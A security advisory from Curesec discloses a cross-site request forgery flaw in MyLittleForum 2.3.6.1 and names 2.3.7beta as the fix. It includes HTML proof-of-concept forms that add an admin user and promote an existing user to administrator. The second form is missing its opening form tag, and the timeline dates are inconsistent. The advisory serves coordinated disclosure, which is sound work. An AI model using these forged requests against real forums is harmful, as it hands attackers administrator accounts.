MyLittleForum 2.3.6.1 Cross Site Request Forgery
Posted on 19 November 2016
Security Advisory - Curesec Research Team 1. Introduction Affected Product: MyLittleForum 2.3.6.1 Fixed in: 2.3.7beta Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/ v2.3.7beta Vendor Website: http://mylittleforum.net/ Vulnerability Type: CSRF Remote Exploitable: Yes Reported to vendor: 09/05/2016 Disclosed to 11/10/2016 public: Release mode: Coordinated Release CVE: n/a Credits Tim Coen of Curesec GmbH 2. Overview MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is vulnerable to cross site request forgery. An attacker could exploit this issue to add new users or change the status of existing users to administrator if a victim visits a website containing a specifically crafted payload while logged into MyLittleForum. 3. Details CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P Description: There is no CSRF protection, allowing an attacker to perform actions for a victim if the victim visits an attacker controlled website while logged in. Proof of Concept: Add New User: <html> <body> <form action="http://localhost/ mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name= "mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2" /> <input type="hidden" name="ar_email" value="admin2@example.com" /> <input type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name= "ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value ="i?1/2A OKi?1/2A " /> <input type="submit" value="Submit request" /> </form> </body> </ html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode" value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name= "edit_user_type" value="2" /> <input type="hidden" name="user_email" value= "foo@example.com" /> <input type="hidden" name="user_hp" value="" /> <input type="hidden" name="user_real_name" value="" /> <input type="hidden" name= "user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location" value="" /> <input type="hidden" name="profile" value="" /> <input type= "hidden" name="signature" value="" /> <input type="hidden" name="user_language" value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type= "hidden" name="user_time_difference" value="0" /> <input type="hidden" name= "edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit request" /> </form> </body> </html> 4. Solution To mitigate this issue please upgrade at least to version 2.3.7beta: https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta Please note that a newer version might already be available. 5. Report Timeline 09/05/2015 Informed Vendor about Issue (no reply) 09/15/2015 Reminded Vendor of Disclosure Date 09/15/2015 Vendor replies 10/04/2015 Vendor releases fix 11/10/2016 Disclosed to public Blog Reference: https://www.curesec.com/blog/article/blog/MyLittleForum-2361-CSRF-176.html -- blog: https://www.curesec.com/blog tweet: https://twitter.com/curesec Curesec GmbH Curesec Research Team Josef-Orlopp-StraAe 54 10365 Berlin, Germany